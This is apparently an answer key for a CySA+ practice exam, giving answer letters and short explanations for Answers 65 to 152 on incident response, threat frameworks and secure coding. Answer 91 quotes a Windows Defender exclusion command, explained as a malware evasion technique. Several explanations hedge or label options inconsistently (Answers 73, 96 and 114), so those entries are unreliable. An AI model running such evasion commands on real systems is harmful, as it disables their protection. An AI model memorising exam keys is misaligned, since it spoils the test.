Correct Answer: C While D. Conduct regular code reviews using OWASP best practices is indeed a valuable practice for identifying and mitigating security vulnerabilities, it doesn’t directly address the specific issue of insufficient logging capabilities. Here’s a breakdown: Code Reviews (Option D): These are essential for catching a wide range of security issues and ensuring that the code adheres to best practices. However, they are more focused on the quality and security of the code itself rather than on operational aspects like logging and monitoring. Server-Side Logging (Option C): This directly targets the problem of insufficient logging by ensuring that all relevant events and activities are logged on the server. This is crucial for detecting and responding to security incidents. Automatic updates further enhance security by ensuring that the latest patches and fixes are applied promptly. In summary, while code reviews are important for overall code quality and security, implementing server-side logging and automatic updates is more directly aligned with addressing the specific risk of insufficient logging capabilities.

Answer 66

Correct Answer: C For investigating cleartext passwords being sent over the network, the best tool would be C. Wireshark. Wireshark is a network protocol analyzer that allows you to capture and inspect the data traveling through a network in real-time, making it ideal for identifying cleartext passwords and other sensitive information.

Answer 67

Correct Answer: D The threat actor’s actions of compiling and testing a malicious downloader to evade detection align best with the Weaponization stage of the Cyber Kill Chain. In this stage, the attacker creates a deliverable payload (in this case, the malicious downloader) using the information gathered during the Reconnaissance phase.

Answer 68

Correct Answer: A CIS (Center for Internet Security) Benchmarks are a set of best practices for securing IT systems and data. They provide detailed, consensus-driven configuration guidelines for various technologies, including cloud services, which are highly relevant for creating secure server images.

Answer 69

Correct Answer: A, F A. Executive management: They need to be aware of the overall security posture and any significant risks that could impact the organization at a strategic level. F. Systems administration: They are directly responsible for managing and securing the IT infrastructure, and they need detailed information to address and remediate vulnerabilities.

Answer 70

Correct Answer: D Add a SOAR rule to drop irrelevant and duplicated notifications This approach leverages Security Orchestration, Automation, and Response (SOAR) to automate the process of filtering out unnecessary alerts, which can significantly reduce the workload on analysts by eliminating noise and focusing on actionable alerts.

Answer 71

Correct Answer: B A rollback is the most likely cause because it can revert a system to a previous state, potentially reintroducing vulnerabilities that were previously fixed. Here’s a bit more detail: Rollback Mechanism: When a rollback is executed, it restores the system to a prior configuration or state. If the rollback point is before the vulnerability was remediated, the vulnerability will reappear. Common Scenario: This is a common scenario in environments where updates or changes are frequently made and sometimes need to be undone due to issues or errors. False Positives and Scanner Configuration: While false positives and scanner configuration issues can occur, they are less likely to be the cause if the vulnerability was confirmed as remediated previously. Software Updates: The need for software updates is also a valid consideration, but it typically affects the detection capabilities rather than reintroducing a known vulnerability.

Answer 72

Correct Answer: B Static Analysis involves examining the binary file without executing it. This can help identify malicious code, understand its functionality, and detect any embedded threats.

Answer 73

Correct Answer: D If the primary goal is to automate a simple but time-consuming task, then regularly checking agent communication with the central console (Option D) could indeed be a better option. This task is straightforward and can be easily automated, freeing up the team’s time for more complex activities. Analyzing false positives (Option B), while also time-consuming, involves more complexity and may require more sophisticated automation solutions, such as machine learning algorithms. So, for a quick win in reducing workload through automation, Option D might be the more practical choice.

Answer 74

Correct Answer: C ISO 27001 is an internationally recognized standard for information security management systems (ISMS). It helps organizations manage and protect their information assets, ensuring that they remain secure and demonstrating a commitment to information security to stakeholders.

Answer 75

Correct Answer: A This control directly addresses the issue by preventing further attempts after a certain number of failures, thereby mitigating the risk of a successful brute-force attack. This is a common and effective method to protect against such attacks, as it limits the attacker’s ability to continue trying different passwords.

Answer 76

Correct Answer: B, E Given the malware’s behavior of disabling host security services (including EDR) and performing cleanup routines, B. Registry artifacts and E. File system metadata would indeed be the most reliable sources of evidence. B. Registry artifacts - Why: Registry artifacts can provide persistent evidence of changes made by the malware, such as modifications to startup entries, service configurations, and other system settings. These artifacts are less likely to be completely erased by the malware’s cleanup routines. E. File system metadata - Why: File system metadata can reveal information about the creation, modification, and access times of files, which can help trace the timeline of the malware’s activities. Even if the initial dropper is deleted, metadata about its creation and deletion can still provide valuable clues. Given the malware’s ability to disable EDR and remove event log entries and prefetch files, these two sources (registry artifacts and file system metadata) are more likely to retain useful evidence for root cause analysis.

Answer 77

Correct Answer: A For a cloud migration project involving multiple SaaS applications, the service model that would help reduce the complexity of extending identity and access management (IAM) to cloud-based assets is CASB (Cloud Access Security Broker). CASB solutions provide visibility and control over cloud applications, enforce security policies, and help integrate IAM across on-premises and cloud environments. This makes it easier to manage access and security consistently across all assets.

Answer 78

Correct Answer: D Photos provide a visual record of the scene as it was found. This can be critical for forensic analysis and for understanding the extent of the damage or tampering.

Answer 79

Correct Answer: D Classifying data helps an organization understand the importance and sensitivity of its data, which in turn informs how it should be protected and managed. This classification is crucial for determining the appropriate security measures and controls to apply.

Answer 80

Correct Answer: D The observed activity from the privileged account, including accessing emails and sensitive information, modifying audit logs, and abnormal log-in times, best describes an insider attack (Option D). This type of attack involves someone within the organization, often with legitimate access, misusing their privileges to perform malicious activities.

Answer 81

Correct Answer: D Using an online sandbox environment allows the security analyst to safely analyze the malware in an isolated setting, preventing any potential spread or impact on the organization’s network. This approach is particularly effective for polymorphic malware with conditional triggers, as it ensures the malware’s behavior can be observed without risking further infection.

Answer 82

Correct Answer: B This is because the presence of Indicators of Compromise (IoCs) in the Security Information and Event Management (SIEM) system indicates active exploitation or targeting by adversaries, making it a more immediate threat to the organization.

Answer 83

Correct Answer: C This is because a business continuity plan (BCP) focuses on maintaining essential functions during and after a disaster. Identifying and prioritizing critical systems ensures that the most important operations are restored first, minimizing disruption to the organization.

Answer 84

Correct Answer: C A. Review of security requirements - This involves ensuring that the security requirements are clearly defined and understood. While it’s an important step in the overall security process, it is not specifically part of the threat modeling procedures in the OWASP Web Security Testing Guide. B. Compliance checks - Compliance checks are about verifying that the application meets certain regulatory and policy requirements. This is crucial for maintaining legal and organizational standards but is not a direct part of the threat modeling process in the OWASP guide. C. Decomposing the application - This is a key step in threat modeling where the application is broken down into smaller components to understand its structure and identify potential security weaknesses. This procedure is indeed part of the OWASP Web Security Testing Guide. D. Security by design - Security by design refers to integrating security principles and practices into the design phase of the application development lifecycle. While this is a best practice for building secure applications, it is not specifically listed as a threat modeling procedure in the OWASP guide.

Answer 85

Correct Answer: C The correct KPI to identify how long a security threat goes unnoticed in the environment is C. Mean time to detect (MTTD). This metric measures the average time it takes for the security team to become aware of a threat after it has entered the environment. It’s a crucial indicator of the effectiveness of your detection capabilities.

Answer 86

Correct Answer: B These elements are fundamental to establishing a robust security framework, ensuring that policies are enforced, roles are clearly defined, and assets are properly classified to protect sensitive information.

Answer 87

Correct Answer: B This step ensures that the response to the incident is structured, consistent, and aligns with the organization’s policies and procedures. It typically includes informing the internal incident response team, but following the plan ensures all necessary steps are taken in the correct order.

Answer 88

Correct Answer: D Nation-state actors typically operate with the backing of their governments, often making them less concerned about legal repercussions compared to other threat actors. Their primary focus is usually on achieving their strategic objectives while evading detection and maintaining operational security.

Answer 89

Correct Answer: A In this scenario, the first step the analyst should recommend is A. Place a legal hold on the employee’s mailbox. This action ensures that all email communications are preserved and can be reviewed during the investigation. It helps in maintaining the integrity of the evidence and supports any potential legal actions or compliance requirements.

Answer 90

Correct Answer: B The correct answer is B. Diamond Model of Intrusion Analysis. This model is a commonly used four-component framework to communicate threat actor behavior. It provides a structured method of describing and analyzing intrusions.

Answer 91

Correct Answer: D The command: Add-MpPreference –ExclusionPath ‘%Program Files%\ksyconfig’ is used to add an exclusion path to Windows Defender, which means that any files or activities within that path will not be scanned or monitored by the antivirus software. This is a common technique used by malware to avoid detection and continue its malicious activities undetected. The high volume of random DNS queries suggests that the system might be communicating with a command-and-control server or performing other malicious activities, which further supports the idea of defense evasion.

Answer 92

Correct Answer: D Given the specific issue of reporting discrepancies, Option D is the most comprehensive solution. It directly addresses the problem by clarifying roles and responsibilities, which is essential for effective incident management. A. Creating a playbook denoting specific SLAs and containment actions per incident type - Pros: A playbook can provide detailed guidance on how to handle different types of incidents, including specific Service Level Agreements (SLAs) and containment actions. This can help ensure consistency and efficiency in incident response. - Cons: While useful, this option may not directly address the issue of discrepancies in reporting responsibilities and timing. It focuses more on the actions to be taken rather than clarifying roles and responsibilities. B. Researching federal laws, regulatory compliance requirements, and organizational policies to document specific reporting SLAs - Pros: This ensures that the organization is compliant with legal and regulatory requirements, which is crucial for avoiding penalties and ensuring proper incident handling. - Cons: Although important, this option may not resolve the internal confusion about who is responsible for reporting and when. It focuses on the requirements rather than the assignment of responsibilities. C. Defining which security incidents require external notifications and incident reporting in addition to internal stakeholders - Pros: This helps in identifying the types of incidents that need to be reported externally, ensuring that the organization meets its legal and regulatory obligations. - Cons: While this clarifies what needs to be reported, it does not address who is responsible for the reporting and the timing, which are the core issues identified in the lessons learned review. D. Designating specific roles and responsibilities within the security team and stakeholders to streamline tasks - Pros: This directly addresses the issue of discrepancies in reporting responsibilities and timing. By clearly defining roles and responsibilities, it ensures that everyone knows who is responsible for what and when, reducing confusion and improving the efficiency of the incident response process. - Cons: This option may require additional training and communication to ensure that all team members understand their roles and responsibilities.

Answer 93

Correct Answer: B To address the CISO’s concern about a threat actor potentially breaching the network and remaining undetected, the most appropriate technique would be B. Adversary emulation. This technique involves simulating the tactics, techniques, and procedures (TTPs) of known threat actors to test the organization’s defenses and identify potential weaknesses. Adversary emulation helps in understanding how an attacker might operate within the network, allowing the organization to improve detection and response capabilities.

Answer 94

Correct Answer: B The MITRE ATT&CK framework is specifically designed to document and categorize the Tactics, Techniques, and Procedures (TTPs) used by cybercriminals and threat actors. It is a valuable resource for understanding and analyzing adversary behavior.

Answer 95

Correct Answer: A Proper handling and reporting of evidence are crucial during the investigation and reporting phases of an incident response to maintain the integrity and admissibility of the evidence in legal proceedings. This ensures that the evidence can be used effectively if the incident leads to legal action.

Answer 96

Correct Answer: C While D offers a broader and more detailed description, C focuses on the actionable and practical benefits of the MITRE ATT&CK framework, which can be seen as more immediately relevant to cybersecurity professionals in the field.

Answer 97

Correct Answer: A This step is crucial to prevent the spread of the ransomware to other parts of the network and to contain the incident.

Answer 98

Correct Answer: C The document that was violated in this scenario is the SLA (Service Level Agreement). An SLA outlines the expected level of service between a service provider and a customer, including response times and deadlines. Missing an incident response deadline would be a violation of the SLA.

Answer 99

Correct Answer: A Passive network footprinting involves gathering information about a target network without actively engaging with the systems. By reviewing syslog entries, the attacker can gather valuable insights about the network’s structure, active services, and potential vulnerabilities without triggering any alarms.

Answer 100

Correct Answer: A These activities align with the typical steps taken in a data exfiltration scenario. Protocol violation alerts on external firewall: This suggests an attempt to bypass security controls. Unauthorized internal scanning activity: This indicates the threat actor is mapping the internal network to find valuable data or vulnerabilities. Changes in outbound network performance: This is often a sign of data being transferred out of the network.

Answer 101

Correct Answer: D The correct answer is D. Cross-site scripting (XSS). Input validation vulnerabilities are often targeted by XSS attacks, where malicious scripts are injected into otherwise benign and trusted websites.

Answer 102

Correct Answer: B To mitigate a buffer overflow vulnerability at the application level, the best option would be to implement input validation (Option B). This practice ensures that the application properly checks and sanitizes all input data, preventing malicious input that could exploit the buffer overflow vulnerability.

Answer 103

Correct Answer: A This action ensures that the compromised credentials are no longer valid, preventing unauthorized access using those credentials. While other steps are also important, resetting the password immediately helps to contain the threat and protect the network from potential breaches.

Answer 104

Correct Answer: C, D CVE details (C) - Why: CVE (Common Vulnerabilities and Exposures) details provide standardized information about specific vulnerabilities, including their severity, impact, and potential mitigation steps. This information is crucial for prioritizing and addressing vulnerabilities efficiently. POC availability (D) - Why: Proof of Concept (POC) availability demonstrates that a vulnerability can be exploited. This information helps the infrastructure team understand the urgency and potential impact of the vulnerability, enabling them to prioritize patches and remediation efforts. Incorrect Answers: Hostname (A) - Why: While knowing the hostname of affected systems is useful for identifying where patches need to be applied, it does not provide information about the nature or severity of the vulnerabilities themselves. Missing KPI (B) - Why: Key Performance Indicators (KPIs) are metrics used to measure performance. Missing KPIs might indicate a gap in monitoring or reporting but do not directly relate to the specifics of vulnerabilities or patch management. IoCs (E) - Why: Indicators of Compromise (IoCs) are used to detect and respond to security incidents. While they are important for incident response, they do not directly inform the patch management process. npm identifier (F) - Why: An npm identifier is specific to Node.js packages. While it can be relevant for identifying vulnerabilities in specific packages, it is not broadly applicable to all server environments and does not provide comprehensive vulnerability details.

Answer 105

Correct Answer: D Risk avoidance involves taking actions to eliminate the risk entirely, which in this case means disabling the vulnerable functionality to prevent the risk of Remote Code Execution (RCE). This approach ensures that the risk is not present, aligning with the CISO’s objective of maintaining minimal risk.

Answer 106

Correct Answer: B A. Delivery - Incorrect. The Delivery phase involves transmitting the weaponized payload to the target. This could be through email attachments, malicious links, or other methods. In this scenario, there is no indication of how the malicious payload was delivered to the target system. B. Command and Control - Correct. The Command and Control (C2) phase is where the attacker establishes a channel to communicate with and control the compromised system. The unusual outbound connections to a previously blocked IP and the removal of proxy and firewall rules by an unrecognized service account suggest that the attacker is trying to maintain control over the compromised system. C. Reconnaissance - Incorrect. The Reconnaissance phase involves gathering information about the target before launching an attack. This could include scanning for vulnerabilities, researching the target’s network, and identifying potential entry points. The scenario describes actions taken after the initial compromise, not the information-gathering stage. D. Weaponization - Incorrect. The Weaponization phase involves creating a deliverable payload by combining an exploit with a backdoor. This phase occurs before the Delivery phase. The scenario does not describe the creation of a payload but rather the actions taken after the system has been compromised.

Answer 107

Correct Answer: C This option directly addresses the authentication vulnerability by adding another layer of verification, ensuring that only authorized individuals can access the sensitive database. This aligns well with the principles of defense in depth and layered security, which are key concepts in the CompTIA CySA+ (CS0-003) Exam.

Answer 108

Correct Answer: A Unauthorized scans are often used by attackers to gather information about a network, such as identifying open ports, services, and potential vulnerabilities. This activity is typically a reconnaissance step in the early stages of an attack.

Answer 109

Answer: B Explanation: User acceptance testing is a process of verifying that a software application meets the requirements and expectations of the end users before it is released to production. User acceptance testing can help to validate the functionality, usability, performance and compatibility of the software application with real-world scenarios and feedback . User acceptance testing can involve various teams, such as developers, testers, customers and stakeholders.

Answer 110

Correct Answer: A Address space layout randomization (ASLR) is a security control that randomizes the memory address space of a process, making it harder for an attacker to exploit memory-based vulnerabilities, such as buffer overflows1. ASLR can also prevent a security analyst from finding the proper memory address of a piece of malicious code, as the memory address changes every time the process runs. The other options are not the best explanations for why the memory address changes every time the process runs. Data execution prevention is a security control that prevents code from being executed in certain memory regions, such as the stack or the heap. Stack canary is a security technique that places a random value on the stack before a function’s return address, to detect and prevent stack buffer overflows. Code obfuscation is a technique that modifies the source code or binary of a program to make it more difficult to understand or reverse engineer. These techniques do not affect the memory address space of a process, but rather the execution or analysis of the code.

Answer 111

Answer: D Explanation: The Cyber Kill Chain methodology provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage. It is divided into seven stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives. It helps network defenders understand and prevent cyberattacks by identifying the attacker’s objectives and tactics. References: The Cyber Kill Chain: The Seven Steps of a Cyberattack

Answer 112

Answer: D Explanation: Implementing controls to block execution of untrusted applications can prevent privilege escalation attacks that leverage native Windows tools, such as PowerShell, WMIC, or Rundll32. These tools can be used by attackers to run malicious code or commands with elevated privileges, bypassing system security policies and controls. By restricting the execution of untrusted applications, organizations can reduce the attack surface and limit the potential damage of privilege escalation attacks.

Answer 113

Answer: B Explanation: Reporting this activity as a false positive, as the activity is legitimate, is the best way for the security analyst to respond. A false positive is a condition in which harmless traffic is classified as a potential network attack by a security monitoring tool. Ping requests are a common network diagnostic tool that can be used to test network connectivity issues. The technician who responded to potential network connectivity issues was performing a legitimate task and did not pose any threat to the accounting and human resources servers .

Answer 114

Answer: C Explanation: Proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response because they ensure the integrity, authenticity, and admissibility of the evidence in case it needs to be presented in court. Evidence that is mishandled, tampered with, or poorly documented may not be accepted by the court or may be challenged by the opposing party. Therefore, incident responders should follow the best practices and standards for evidence collection, preservation, analysis, and reporting. The other options are not reasons why proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response. They are rather outcomes or benefits of conducting a thorough and effective incident response process. A lessons-learned analysis (B) is a way to identify the strengths and weaknesses of the incident response team and improve their performance for future incidents. A postmortem analysis is a way to determine the root cause, impact, and timeline of the incident and provide recommendations for remediation and prevention. A root cause analysis (D) is a way to identify the underlying factors that led to the incident and address them accordingly.

Answer 115

Answer: B Explanation: In environments with fragile and legacy equipment, passive scanning is preferred to prevent any potential disruptions that active scanning might cause. When assessing the security of an Operational Technology (OT) network, especially one with fragile and legacy equipment, it’s crucial to use passive instead of active vulnerability scans. Active scanning can sometimes disrupt the operation of sensitive or older equipment. Passive scanning listens to network traffic without sending probing requests, thus minimizing the risk of disruption.

Answer 116

Answer: A Explanation: Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website. A CDN is a Content Delivery Network, which is a system of distributed servers that deliver web content to users based on their geographic location, the origin of the web page, and the content delivery server. A CDN can help protect against Layer 4 DDoS attacks, which are volumetric attacks that aim to exhaust the network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN floods, UDP floods, or ICMP floods. A CDN can mitigate these attacks by distributing the traffic across multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic, and providing scalability and redundancy for the website12. Reference: How to Stop a DDoS Attack: Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare

Answer 117

Answer: A Explanation: Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a malicious payload to use against a target. In this case, the disgruntled open-source developer has created a logic bomb that will act as a wiper, which is a type of malware that destroys data on a system. This is an example of weaponization, as the developer has prepared a cyberweapon to sabotage the code repository.

Answer 118

D. Conduct a comprehensive review of the website's source code to identify related vulnerabilities.

Answer 119

B. Conducting regular code reviews and static analysis

Answer 120

A. Enhancing monitoring to detect and respond to potential threats.

Answer 121

B. Insider threat activity

Answer 122

D. Disable the link and report it to the IT department

Answer 123

C. Implement output encoding at the server level to ensure consistency.

Answer 124

C. Prepared statements in database queries Prepared statements are a robust defense against persistent SQL injection attacks. They separate SQL code from user input, preventing attackers from manipulating queries. Unlike client-side input validation, which can be bypassed, implementing prepared statements directly addresses the vulnerability at the database interaction level.

Answer 125

C. The potential business impact on each affected host.

Answer 126

C. Consult with network administrators and assess the criticality of the network device to organizational operations.

Answer 127

B. Conducting regular table-top exercises with key stakeholders.

Answer 128

D. Implementing proper session management controls To effectively mitigate broken access control risks, implementing proper session management controls is crucial. This ensures that user sessions are securely managed, preventing unauthorized access to administrative functionalities through manipulation of input parameters. Proper session management is an integral part of access control and user authentication mechanisms.

Answer 129

C. Employing runtime protection mechanisms and input validation on the server side To address heap overflow risks, employing runtime protection mechanisms and input validation on the server side is crucial. These measures can detect and prevent abnormal heap manipulations during runtime, mitigating the risk of unauthorized manipulation of financial transactions through heap overflow exploits.

Answer 130

B. Disable the user account in the organization's identity management system

Answer 131

C. Frequency and intensity of anomalous user input

Answer 132

D. Encode user-generated content according to the context of its use. A key consideration is to encode user-generated content according to the context of its use. Output encoding is not a one-size-fits-all solution; it should be applied based on the specific context in which the content is displayed. Different contexts, such as HTML, JavaScript, or URL attributes, require different encoding techniques. By encoding user-generated content appropriately, the social media platform can prevent various injection attacks and maintain a secure user experience.

Answer 133

B. Mapping vulnerabilities to specific regulatory requirements for reporting. When integrating vulnerability management into the framework of organizational governance, the primary consideration should be mapping vulnerabilities to specific regulatory requirements for reporting. This ensures that vulnerability management activities align with the organization's governance structure and regulatory obligations. While regular scans, compensating controls, and policy review are important, mapping vulnerabilities to regulatory requirements directly supports compliance within the governance framework.

Answer 134

D. strace The strace command is used outside GDB to trace system calls made by a process. By running strace with the process ID (PID), the analyst can monitor the system calls, helping to identify potentially malicious or unexpected activity and aiding in the investigation of the process's behavior.

Answer 135

C. Inform the building management team about the discovery and request remediation. A crucial aspect is to inform the building management team about the discovery and request remediation. In the context of edge discovery, when an unsecured IoT device is identified, involving the relevant teams responsible for the device is essential. The building management team, in this case, should be informed to ensure a coordinated effort in addressing the vulnerability and implementing necessary security measures.

Answer 136

D. Early threat detection

Answer 137

A. Stealth scan A stealth scan is designed to avoid triggering intrusion detection systems by sending packets that do not complete a full three-way handshake. This technique is less likely to be detected while still providing valuable vulnerability information.

Answer 138

C. Monitor and analyze user behavior to detect anomalous activities. A key consideration is to monitor and analyze user behavior to detect anomalous activities. Mitigating the risk through stricter access controls and user behavior analytics involves ongoing monitoring. Identifying and responding to anomalous activities is essential for the effectiveness of the mitigation strategy and helps in early detection of potential insider threats.

Answer 139

C. Implement a temporary workaround until employees are accustomed to the new policy.

Answer 140

A. Non-credentialed scanning Non-credentialed scanning does not require authentication and is less intrusive, making it suitable for conducting scans that do not disrupt the network and do not require access to the target systems.

Answer 141

B. DDoS attack In this scenario, the security analyst is likely observing a Distributed Denial of Service (DDoS) attack. DDoS attacks involve a high volume of traffic sent from multiple sources to overwhelm a target system or network, causing a denial of service.

Answer 142

C. Conduct a comprehensive review of user access controls and permissions.

Answer 143

D. Unauthorized data storage or data dumping

Answer 144

D. Communicating the reduction in the organization's overall risk profile.

Answer 145

A. Numerous failed login attempts from a legitimate user account

Answer 146

B. Isolating the legacy control system from the production network.

Answer 147

B. Block the email; Investigate further

Answer 148

C. Enhancing monitoring to detect similar activities.

Answer 149

B. Describing the motivations and objectives of the threat actors behind the attack. When explaining the "why" of a ransomware attack, the team should prioritize describing the motivations and objectives of the threat actors behind the attack. Understanding the attackers' motives is essential for implementing targeted preventive measures and improving overall cybersecurity.

Answer 150

C. Transparency, providing clear and timely information about the incident and actions taken.

Answer 151

B. Highlighting the potential consequences of a data breach on both the company and individuals.

Answer 152

A. Initiating an immediate investigation into the cause of the recurrence.